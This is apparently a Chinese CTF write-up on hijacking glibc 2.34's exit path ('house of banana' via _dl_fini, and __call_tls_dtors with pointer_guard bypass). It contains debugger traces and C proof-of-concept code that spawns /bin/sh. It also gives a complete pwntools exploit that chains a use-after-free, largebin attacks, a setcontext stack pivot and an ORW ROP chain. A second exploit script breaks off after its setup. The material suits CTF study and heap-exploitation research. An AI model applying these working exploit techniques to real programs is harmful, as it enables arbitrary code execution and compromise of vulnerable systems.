if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
......
在循环里定义了一个`exit_function`结构体f，为`exit_function`结构体数组cur->fns里的第一个`exit_function`结构体，而且可以通过gdb调试看到此时的`f->flavor`为4，ef_cxa（在stdlib/exit.h里定义了）为4。根据注释里讲的，为了避免`dlclose/exit`争用两次调用`cxafct`，所以将`exit_function`结构体里的f->flavor置为`ef_free`，即置为0。然后`cxafct`就赋值为`0xb685d3b1e02215a8`（每次程序运行的时候都是不一样的）
pwndbg> p *cur
$6 = {
next = 0x0,
idx = 0,
fns = {{
flavor = 4,
.........
}, {
flavor = 0,
func = {
at = 0x0,
..........
}
} <repeats 31 times>}
}
enum
{
ef_free, /* `ef_free' MUST be zero! */
ef_us, //2
ef_on, //3
ef_at, //4
ef_cxa //5
};//位置在stdlib/exit.h
然后紧接着就是通过`PTR_DEMANGLE`处理`cxafct`，成功解析`_di_fini`函数
# define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \
"xor %%fs:%c2, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
# endif
调用前
调用后
可以看到这里的`cxafct`转换成了`_dl_fini`地址，然后就是我们house of banana所用到的函数`_dl_fini`。
....
cxafct (arg, status);//_dl_fini(0,0);
....
### 进入_dl_fini函数
然后就是进入这个`_dl_fini`函数，看一下源代码
void
_dl_fini (void)
{
/* Lots of fun ahead. We have to call the destructors for all still
loaded objects, in all namespaces. The problem is that the ELF
specification now demands that dependencies between the modules
are taken into account. I.e., the destructor for a module is
called before the ones for any of its dependencies.
To make things more complicated, we cannot simply use the reverse
order of the constructors. Since the user might have loaded objects
using `dlopen' there are possibly several other modules with its
dependencies to be taken into account. Therefore we have to start
determining the order of the modules once again from the beginning. */
/* We run the destructors of the main namespaces last. As for the
other namespaces, we pick run the destructors in them in reverse
order of the namespace ID. */
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
else
{
/* Now we can allocate an array to hold all the pointers and
copy the pointers in. */
struct link_map *maps[nloaded];
unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real)
{
assert (i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;
/* Now we have to do the sorting. We can skip looking for the
binary itself which is at the front of the search list for
the main namespace. */
_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);
__rtld_lock_unlock_recursive (GL(dl_load_lock));
/* 'maps' now contains the objects in the right order. Now
call the destructors. We have to process this array from
the front. */
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];
if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;
/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
/* Next try the old-style destructor. */
if (ELF_INITFINI && l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}
#ifdef SHARED
/* Auditing checkpoint: another object closed. */
if (!do_audit && __builtin_expect (GLRO(dl_naudit) > 0, 0))
{
struct audit_ifaces *afct = GLRO(dl_audit);
for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
{
if (afct->objclose != NULL)
{
struct auditstate *state
= link_map_audit_state (l, cnt);
/* Return value is ignored. */
(void) afct->objclose (&state->cookie);
}
afct = afct->next;
}
}
#endif
}
/* Correct the previous increment. */
--l->l_direct_opencount;
}
}
}
#ifdef SHARED
if (! do_audit && GLRO(dl_naudit) > 0)
{
do_audit = 1;
goto again;
}
if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_STATISTICS))
_dl_debug_printf ("\nruntime linker statistics:\n"
" final number of relocations: %lu\n"
"final number of relocations from cache: %lu\n",
GL(dl_num_relocations),
GL(dl_num_cache_relocations));
#endif
}
可以看一下`GL`的定义和`_rtld_global`、`link_map`大概结构体，
# define GL(name) _rtld_local._##name
# else
# define GL(name) _rtld_global._##name
struct rtld_global
{
#endif
/* Don't change the order of the following elements. 'dl_loaded'
must remain the first element. Forever. */
/* Non-shared code has no support for multiple namespaces. */
#ifdef SHARED
# define DL_NNS 16
#else
# define DL_NNS 1
#endif
EXTERN struct link_namespaces
{
/* A pointer to the map for the main map. */
struct link_map *_ns_loaded;
/* Number of object in the _dl_loaded list. */
unsigned int _ns_nloaded;
/* Direct pointer to the searchlist of the main object. */
struct r_scope_elem *_ns_main_searchlist;
unsigned int _ns_global_scope_alloc;
unsigned int _ns_global_scope_pending_adds;
/* Once libc.so has been loaded into the namespace, this points to
its link map. */
struct link_map *libc_map;
/* Search table for unique objects. */
struct unique_sym_table
{
__rtld_lock_define_recursive (, lock)
struct unique_sym
{
uint32_t hashval;
const char *name;
const ElfW(Sym) *sym;
const struct link_map *map;
} *entries;
size_t size;
size_t n_elements;
void (*free) (void *);
} _ns_unique_sym_table;
/* Keep track of changes to each namespace' list. */
struct r_debug _ns_debug;
} _dl_ns[DL_NNS];
......
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */
ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
struct link_map *l_real;
/* Number of the namespace this link map belongs to. */
Lmid_t l_ns;
struct libname_list *l_libname;
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
.....
此时`nloaded`赋值为`_rtld_global->_dl_ns[0]._ns_nloaded`即4（链表的个数），根据调试代码知道从else命令行开始执行。其实注释里有说明接下来的操作，分配数组来保存指针。
我们可以通过`link_map`结构体指针l_next指针来看一下有哪些`link_map`结构体是这链表的。
pwndbg> p *(struct link_map *)0x7ffff7ffe220
$6 = {
l_addr = 93824992231424,
l_name = 0x7ffff7ffe7c8 "",
l_ld = 0x555555557dc0,
l_next = 0x7ffff7ffe7d0,
l_prev = 0x0,
l_real = 0x7ffff7ffe220,
.....
pwndbg> p *(struct link_map *)0x7ffff7ffe7d0
$7 = {
l_addr = 140737353900032,
l_name = 0x7ffff7fc6371 "linux-vdso.so.1",
l_ld = 0x7ffff7fc63e0,
l_next = 0x7ffff7fc0200,
l_prev = 0x7ffff7ffe220,
l_real = 0x7ffff7ffe7d0,
......
pwndbg> p *(struct link_map *)0x7ffff7fc0200
$8 = {
l_addr = 140737351548928,
l_name = 0x7ffff7fc01e0 "/lib/x86_64-linux-gnu/libc.so.6",
l_ld = 0x7ffff7f9fbc0,
l_next = 0x7ffff7ffda48 <_rtld_global+2568>,
l_prev = 0x7ffff7ffe7d0,
l_real = 0x7ffff7fc0200,
......
pwndbg> p *(struct link_map *)0x7ffff7ffda48
$9 = {
l_addr = 140737353908224,
l_name = 0x555555554318 "/lib64/ld-linux-x86-64.so.2",
l_ld = 0x7ffff7ffce70,
l_next = 0x0,
l_prev = 0x7ffff7fc0200,
l_real = 0x7ffff7ffda48 <_rtld_global+2568>,
......
直到link_map结构体指针`l_next`为null，一共有4个`link_map`结构体，之后就是遍历链表（源码如下），判断`l`（rtld_global结构体里的link_map结构体指针即_rtld_global._dl_ns._ns_loaded）的link_map结构体地址是否与结构体`l`里的l->l_real相等，相等的话继续遍历，将链表添加到maps里，同时i加一（初始为0）。因为后面有一次断言，这样使得我们每次遍历的时候都要满足`l
== l->l_real`，否则计数器i没有办法与`nloaded`（上面说到的链表长度）相等。还有一种情况就是`ns !=
LM_ID_BASE`进入下一个断言，这里就不细说，道理是一样的。
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real)
{
assert (i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
可以看一下maps数组里的指针
pwndbg> p maps
$1 = 0x7fffffffdd10
pwndbg> x/8gx 0x7fffffffdd10
0x7fffffffdd10: 0x00007ffff7ffe220 0x00007ffff7ffe7d0
0x7fffffffdd20: 0x00007ffff7fc0200 0x00007ffff7ffda48
0x7fffffffdd30: 0x00007fffffffdd30 0x00007ffff7fa1760
0x7fffffffdd40: 0x0000000000000009 0x00005555555592a0
然后就是nmaps（nmap=4）次循环，之后判断link_map结构体`l`里的`l->l_init_called`是否为1，调试看一下发现为1。
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];
if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;
...................
pwndbg> p l->l_init_called
$7 = 1
接下来判断link_map结构体`l`里的`l->l_info[DT_FINI_ARRAY] != NULL`。
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct *///在elf/elf.h里
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
我们可以调试看看这里的值，不为null，执行if条件判断里的指令。
pwndbg> p l->l_info[26]
$8 = (Elf64_Dyn *) 0x555555557e10
然后就是可以计算array的值，为`15800+93824992231424=0x555555557DB8`其实就是`fini_array`
pwndbg> p *(Elf64_Dyn *) 0x555555557e10
$9 = {
d_tag = 26,
d_un = {
d_val = 15800,
d_ptr = 15800
}
}
pwndbg> p *l
$12 = {
l_addr = 93824992231424,
l_name = 0x7ffff7ffe7c8 "",
l_ld = 0x555555557dc0,
......
后面的话`_dl_fini`函数进行剩下的三次循环，然后我们就回到`__run_exit_handlers`，因为`cur->idx==0且cur->next==0`。
pwndbg> p *cur
$2 = {
next = 0x0,
idx = 0,
fns = {{
flavor = 0,
func = {
at = 0x2155281939208b75,
on = {
fn = 0x2155281939208b75,
arg = 0x0
},
cxa = {
fn = 0x2155281939208b75,
arg = 0x0,
dso_handle = 0x0
}
}
}, {
flavor = 0,
func = {
at = 0x0,
on = {
fn = 0x0,
arg = 0x0
},
cxa = {
fn = 0x0,
arg = 0x0,
dso_handle = 0x0
}
}
} <repeats 31 times>}
}
然后跳出循环，之后就调用`_exit (status);`，程序结束。
while (true)
{
.......
}
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
}
pwndbg> directory /usr/src/glibc/glibc-2.34/elf/
pwndbg> directory /usr/src/glibc/glibc-2.34/stdlib
## 编写测试代码
测试机的环境是`Ubuntu 21.10`，地址随机化关闭
### 第一部分
#### `__call_tls_dtors`利用思路
可以先看看源代码，还有对应结构体。
void
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif
tls_dtor_list = tls_dtor_list->next;
func (cur->obj);
.........
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
static __thread struct dtor_list *tls_dtor_list;
思路确实和简单，伪造`dtor_list`结构体，将结构体地址写入`tls_dtor_list`，使得其不为空，然后调用`func
(cur->obj);`。但是还有一步，就是`PTR_DEMANGLE
(func);`这个操作，这里要讲一下在`linux`里有一种线程局部存储机制，简称`TLS`它主要存储着一个线程的一些全局变量，包括我们熟知的canary也存储在里面，我们可以看看对应结构。
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int unused_vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;//在/sysdeps/x86_64/nptl/tls.h里
我们可以gdb调试看看对应的汇编代码
0x7ffff7dd1de8 <__GI___call_tls_dtors+40>: ror rax,0x11
0x7ffff7dd1dec <__GI___call_tls_dtors+44>: xor rax,QWORD PTR fs:0x30
0x7ffff7dd1df5 <__GI___call_tls_dtors+53>: mov QWORD PTR fs:[rbx],rdx
0x7ffff7dd1df9 <__GI___call_tls_dtors+57>: mov rdi,QWORD PTR [rbp+0x8]
0x7ffff7dd1dfd <__GI___call_tls_dtors+61>: call rax
可以看到`PTR_DEMANGLE
(func);`这操作主要是先进行循环右移0x11位，再与fs:0x30（tcbhead_t->pointer_guard）进行异或，最终得到的数据就是我们的函数指针，所以我们只需进行逆操作就可以控制函数地址。
system_addr=system_addr^pointer_guard;//system函数地址
fuke_tls_dtor_list_addr[0]=((system_addr>>(64-0x11))|(system_addr<<0x11));//循环左移0x11
#### 最终代码
#include <stdio.h>
#include <stdlib.h>
void backdoor() {
puts("you hacked me!!");
system("/bin/sh");
}
int main() {
puts("let's do it.");
size_t system_addr = &system;
size_t libc_base = &puts - 0x84ed0;
size_t *pointer_guard_addr;
pointer_guard_addr = libc_base-0x2890;
size_t pointer_guard = *pointer_guard_addr;
size_t *tls_dtor_list_addr;
char *ptr = malloc(0x450);
size_t *fuke_tls_dtor_list_addr = (size_t *)ptr;//chunk_addr
tls_dtor_list_addr = libc_base - 0x2918;
*tls_dtor_list_addr = fuke_tls_dtor_list_addr;//将chunk地址写入tls_dtor_list指针里（原本为空）
system_addr=system_addr^pointer_guard;//system函数地址
fuke_tls_dtor_list_addr[0]=((system_addr>>(64-0x11))|(system_addr<<0x11));//循环左移0x11
fuke_tls_dtor_list_addr[1]="/bin/sh";
return 0;
}
### 第二部分
#### `_dl_fini`利用思路
我们的目的是控制`_dl_fini`里的array指针数组并调用它，首先要控制`rtld_global`结构体里的`link_map`结构体指针即`_dl_fini`函数里的`link_map`结构体`l`。
void
_dl_fini (void)
{
..................
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
...............
}
首先是伪造`rtld_global`结构体里的`link_map`结构体指针即`rtld_global->_ns_loaded`，为了不破坏`link_map`链表的完整性，因为后面有一次断言判断：检测链表的长度，上面也讲了
void
_dl_fini (void)
{
......
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real)
{
assert (i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
.......
}
所以我们结构体里的`link_map`指针`l_next`要保持不变而且`link_map`结构体`l`里面的`l_real`即`l->l_real`要指向它本身的地址。
fuke_rtld_global_ptr_addr[1]=libc_base+0x2767d0;//link_map->l_next
fuke_rtld_global_ptr_addr[5]=fuke_rtld_global_ptr_addr;//make l == l->l_real
然后就是构造并调用我们伪造的函数
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];
if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;
/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
.............
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
.................
然后要使`link_map`结构体`l`里面的`l_init_called`即`l->l_init_called`为1。
fuke_rtld_global_ptr_addr[0x63]=0x800000000;//make l->l_init_called==1
接下来要使得`l->l_info[DT_FINI_ARRAY] != NULL`即`l->l_info[26] !=
NULL`，我们可以看看array是怎么算的。
ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr+l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
可以看看l->l_info[DT_FINI_ARRAY]里的指针对应的结构体
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;//在elf/elf.h里
所以我们可以将`l->l_addr`改为堆块的地址（堆块地址指向我们的后门函数地址），然后将`l->l_info[DT_FINI_ARRAY]`里的指针指向对应结构体`Elf64_Dyn`，该结构体我们可以伪造，可以改结构体里的`d_ptr`为固定的值（比如`0x20`或是0）。我们这里伪造为0；然后就是选定一个可读的地址
就好了。
fuke_rtld_global_ptr_addr[0x22]=&fuke_rtld_global_ptr_addr[0x40];//l->l_info[26]
然后就是满足循环条件，这里我们可以调汇编来看
所以我们可以伪造i为1
fuke_rtld_global_ptr_addr[0x24]=&fuke_rtld_global_ptr_addr[0x2f];//is in l->l_info[28] ；make i == 1
fuke_rtld_global_ptr_addr[0x30]=8;//make i == 1
最后就是将`l->l_addr`改为堆块的地址（堆块地址指向我们的后门函数地址）
fuke_rtld_global_ptr_addr[0] = &fuke_rtld_global_ptr_addr[0x20];//l->l_addr is a pointer of backdoor
fuke_rtld_global_ptr_addr[0x20] = backdoor;
#### 最终代码
#include <stdio.h>
#include <stdlib.h>
void backdoor() {
puts("you hacked me");
system("/bin/sh");
}
int main() {
puts("let's do it.");
size_t libc_base = &puts - 0x84ed0;
size_t *_rtld_global_ptr_addr;//
char *ptr = malloc(0x450);
_rtld_global_ptr_addr = libc_base + 0x275040;
size_t *fuke_rtld_global_ptr_addr = (size_t *)ptr;//fuke rtld_global->_ns_loaded
*_rtld_global_ptr_addr = fuke_rtld_global_ptr_addr;
fuke_rtld_global_ptr_addr[3]=libc_base+0x2767d0; //link_map->l_next
fuke_rtld_global_ptr_addr[5]=fuke_rtld_global_ptr_addr;//make l == l->l_real
fuke_rtld_global_ptr_addr[0x63]=0x800000000;//make l->l_init_called==1
fuke_rtld_global_ptr_addr[0x22]=&fuke_rtld_global_ptr_addr[0x30];//l->l_info[26]
fuke_rtld_global_ptr_addr[0x24]=&fuke_rtld_global_ptr_addr[0x2f];//make i == 1
fuke_rtld_global_ptr_addr[0x30]=8;//make i == 1
fuke_rtld_global_ptr_addr[0] = &fuke_rtld_global_ptr_addr[0x20];//l->l_addr a pointer of backdoor
fuke_rtld_global_ptr_addr[0x20] = backdoor;
return 0;
}
## 实例利用
### 题目分析
魔改的2021湖湘杯2.34的pwn（将原来的_exit改成exit），chunk申请范围是0x40f到0x500，漏洞是uaf
这里地址随机化是开了的
### 方法一攻击原理
通过两次`largebin
attack`将已知地址写入结构体指针`tls_dtor_list`和`fs:0x30（tcbhead_t->pointer_guard）`里，然后风水布置堆块，伪造`dtor_list`结构体，接下来就是利用`__call_tls_dtors`函数来调用我们的指针，这里找到了不错的gadget
0x0000000000169e90 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
可以通过`rdi`控制`rdx`，再调用`setcontext+61`进行栈迁移，`orw`读出flag。
### exp
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
import os
context.log_level = 'debug'
context.arch='amd64'
binary = './pwn'
main_arena = 2198624
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
#context.terminal = ['tilix', '-x', 'sh', '-c']
#context.terminal = ['tilix', 'splitw', '-v']
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(index,size,flag=1):
pay = b'\x01'
pay += p8(index)
pay += p16(size)
if flag == 1:
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
else:
return pay
def free(index,flag=1):
pay = b'\x02'
pay += p8(index)
if flag == 1:
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
else:
return pay
def show(index,flag=1):
pay = b'\x03'
pay += p8(index)
if flag == 1:
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
else:
return pay
def edit(index,size,content,flag=1):
pay = b'\x04'
pay += p8(index)
pay += p16(size)
pay += content
if flag == 1:
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
else:
return pay
add(0,0x410)#0
add(1,0x460)#1
add(2,0x418)#2
add(3,0x440)#3
add(4,0x410)#4
#---free(1) and show(1)--- pay = free(1,0)
pay += show(1,0)
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
#------------------------- #---------leak------------ libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8,b'\x00')) - main_arena - 96
su('libc_base',libc_base)
pointer_guard_addr = libc_base - 0x2890
tls_dtor_list_addr = libc_base - 0x2918
su('pointer_guard_addr',pointer_guard_addr)
su('tls_dtor_list_addr',tls_dtor_list_addr)
set_context = libc_base + libc.sym['setcontext'] + 61
fh = libc.sym['__free_hook']+libc_base
#0x000000000005dfd1 : mov rax, rdi ; ret
#0x0000000000169e90 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
binsh_addr = libc_base + next(libc.search(b'/bin/sh\0'))
ret = libc_base + libc.sym['setcontext'] + 334
syscall = next(libc.search(asm("syscall\nret")))+libc_base
#---------------------------------------
#------largebin attack and leak heap---- pay = free(3,0)
pay += edit(1,0x20,p64(0)*3+p64(pointer_guard_addr-0x20),0)
pay += add(5,0x500,0)#5
pay += show(1,0)
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
ru('Malloc Done\n')
heap = u64(r(6).ljust(8,b'\0')) - 0x2f50
su('heap',heap)
pay = edit(1,0x20,p64(heap+0x2f50)+p64(libc_base+main_arena+1120)+p64(heap+0x2f50)+p64(heap+0x2f50),0)
pay += edit(3,0x20,p64(libc_base+main_arena+1120)+p64(heap+0x26c0)+p64(heap+0x26c0)+p64(heap+0x26c0),0)
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
#---------------------------------------
add(1,0x460)#1
add(3,0x440)#3
#------largebin attack ------------------ free(1)
pay = free(3,0)
pay += edit(1,0x20,p64(0)*3+p64(tls_dtor_list_addr-0x20),0)
pay += add(5,0x500,0)#5
pay += show(1,0)
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
ru('Malloc Done\n')
heap = u64(r(6).ljust(8,b'\0')) - 0x2f50
su('heap',heap)
pay = edit(1,0x20,p64(heap+0x2f50)+p64(libc_base+main_arena+1120)+p64(heap+0x2f50)+p64(heap+0x2f50),0)
pay += edit(3,0x20,p64(libc_base+main_arena+1120)+p64(heap+0x26c0)+p64(heap+0x26c0)+p64(heap+0x26c0),0)
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
#--------------------------------------- #0x0000000000169e90 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
#-------------------------------------- pay = add(1,0x460,0)#1
pay+=free(2,0)#0
pay+=add(2,0x430,0)#1
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
#--------------------------------------
rop = (0x0000000000169e90+libc_base)^(heap+0x2f50)
rop = ((rop>>(64-0x11))|(rop<<0x11))
pay = b''.ljust(0x410,b's')+p64(rop)+p64(heap+0x26d0)
edit(2,len(pay),pay)
gdb.attach(io)
payload = p64(0)+p64(heap+0x26d0)+p64(0)+p64(0)+p64(set_context)
payload = payload.ljust(0x70,b'\0')+p64(fh&0xfffffffffffff000)#rsi
payload = payload.ljust(0x68,b'\0')+p64(0)#rdi
payload = payload.ljust(0x88,b'\0')+p64(0x2000)#rdx
payload = payload.ljust(0xa0,b'\0')+p64((fh&0xfffffffffffff000)+8)#bytes(frame)
payload = payload.ljust(0xa0,b'\0')+p64(syscall)#rip
edit(1,len(payload),payload)#make rdx = chunk3
add(1,0x550)
ru(b'ERROR\n')
pop_rdx_r12_ret = 0x0000000000122431+libc_base
layout = [next(libc.search(asm('pop rdi\nret')))+libc_base
,fh&0xfffffffffffff000
,next(libc.search(asm('pop rsi\nret')))+libc_base
,0
,p64(pop_rdx_r12_ret)
,p64(0)
,p64(0)
,next(libc.search(asm('pop rax\nret')))+libc_base
,2
,syscall
,next(libc.search(asm('pop rdi\nret')))+libc_base
,3
,next(libc.search(asm('pop rsi\nret')))+libc_base
,(fh&0xfffffffffffff000)+0x200
,p64(pop_rdx_r12_ret)
,p64(0x30)
,p64(0)
,next(libc.search(asm('pop rax\nret')))+libc_base
,0
,syscall
,next(libc.search(asm('pop rdi\nret')))+libc_base
,1
,next(libc.search(asm('pop rsi\nret')))+libc_base
,(fh&0xfffffffffffff000)+0x200
,p64(pop_rdx_r12_ret)
,p64(0x30)
,p64(0)
,next(libc.search(asm('pop rax\nret')))+libc_base
,1
,syscall]
shellcode=b'./flag'.ljust(8,b'\x00')+flat(layout)
gdb.attach(proc.pidof(io)[0])
s(shellcode)
shell()
### 方法二攻击原理
利用第二部分的思路来进行攻击：控制`_dl_fini`里的array指针数组并调用它，伪造`link_map`结构体，这里有一个巧妙的地方就是上一个`((fini_t)
array[i])
();`执行完之后会将上一个调用的函数地址保存在`rdx`寄存器里，然后如果我们可以伪造array[i]为`setcontext+61`，在第二次调用`((fini_t)
array[i]) ();`（如果有的话）我们就可以通过`rdx`控制其他寄存器。
0x7ffff7fd9f00 <_dl_fini+512> call qword ptr [r14]
► 0x7ffff7fd9f03 <_dl_fini+515> mov rdx, r14 <0x555555557db8>
0x7ffff7fd9f06 <_dl_fini+518> sub r14, 8
0x7ffff7fd9f0a <_dl_fini+522> cmp qword ptr [rbp - 0x38], rdx
0x7ffff7fd9f0e <_dl_fini+526> jne _dl_fini+512 <_dl_fini+512>
0x7ffff7ddf8fd <setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0]
0x7ffff7ddf904 <setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]
0x7ffff7ddf90b <setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]
0x7ffff7ddf90f <setcontext+79>: mov r12,QWORD PTR [rdx+0x48]
0x7ffff7ddf913 <setcontext+83>: mov r13,QWORD PTR [rdx+0x50]
0x7ffff7ddf917 <setcontext+87>: mov r14,QWORD PTR [rdx+0x58]
0x7ffff7ddf91b <setcontext+91>: mov r15,QWORD PTR [rdx+0x60]
0x7ffff7ddf91f <setcontext+95>: test DWORD PTR fs:0x48,0x2
### exp
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
import os
context.log_level = 'debug'
context.arch='amd64'
binary = './pwn'
main_arena = 2198624
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
